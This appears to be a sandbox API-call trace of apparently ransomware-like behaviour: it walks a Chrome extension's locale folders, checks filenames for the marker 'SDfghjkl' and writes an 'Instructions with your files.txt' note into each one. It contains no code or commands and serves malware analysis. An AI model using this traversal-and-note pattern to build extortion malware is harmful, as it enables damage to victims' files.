[0130.079] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.079] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\Instructions with your files.txt") returned 174
[0130.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.080] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.080] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.080] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.081] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.081] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.081] CloseHandle (hObject=0x134) returned 1
[0130.081] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.081] GetProcessHeap () returned 0x810000
[0130.081] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.081] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0130.081] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu") returned 141
[0130.081] GetProcessHeap () returned 0x810000
[0130.081] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.081] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*") returned 143
[0130.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.081] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\.") returned 143
[0130.081] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.082] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\..") returned 144
[0130.082] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.082] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 155
[0130.082] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.082] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.082] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\Instructions with your files.txt") returned 174
[0130.082] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.082] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.083] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.083] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.083] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.083] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.083] CloseHandle (hObject=0x134) returned 1
[0130.083] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.083] GetProcessHeap () returned 0x810000
[0130.083] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.083] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
[0130.084] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id") returned 141
[0130.084] GetProcessHeap () returned 0x810000
[0130.084] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.084] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*") returned 143
[0130.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.084] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\.") returned 143
[0130.084] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.084] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\..") returned 144
[0130.084] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.084] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 155
[0130.084] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.084] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.084] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\Instructions with your files.txt") returned 174
[0130.084] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.085] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.085] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.085] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.086] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.086] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.086] CloseHandle (hObject=0x134) returned 1
[0130.086] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.086] GetProcessHeap () returned 0x810000
[0130.086] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.086] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0130.086] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it") returned 141
[0130.086] GetProcessHeap () returned 0x810000
[0130.086] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.086] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*") returned 143
[0130.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.087] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\.") returned 143
[0130.087] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.087] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\..") returned 144
[0130.087] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.087] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 155
[0130.087] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.087] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.087] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\Instructions with your files.txt") returned 174
[0130.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.088] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.089] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.089] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.089] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.089] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.089] CloseHandle (hObject=0x134) returned 1
[0130.089] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.089] GetProcessHeap () returned 0x810000
[0130.089] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.089] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0130.089] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja") returned 141
[0130.090] GetProcessHeap () returned 0x810000
[0130.090] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.090] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*") returned 143
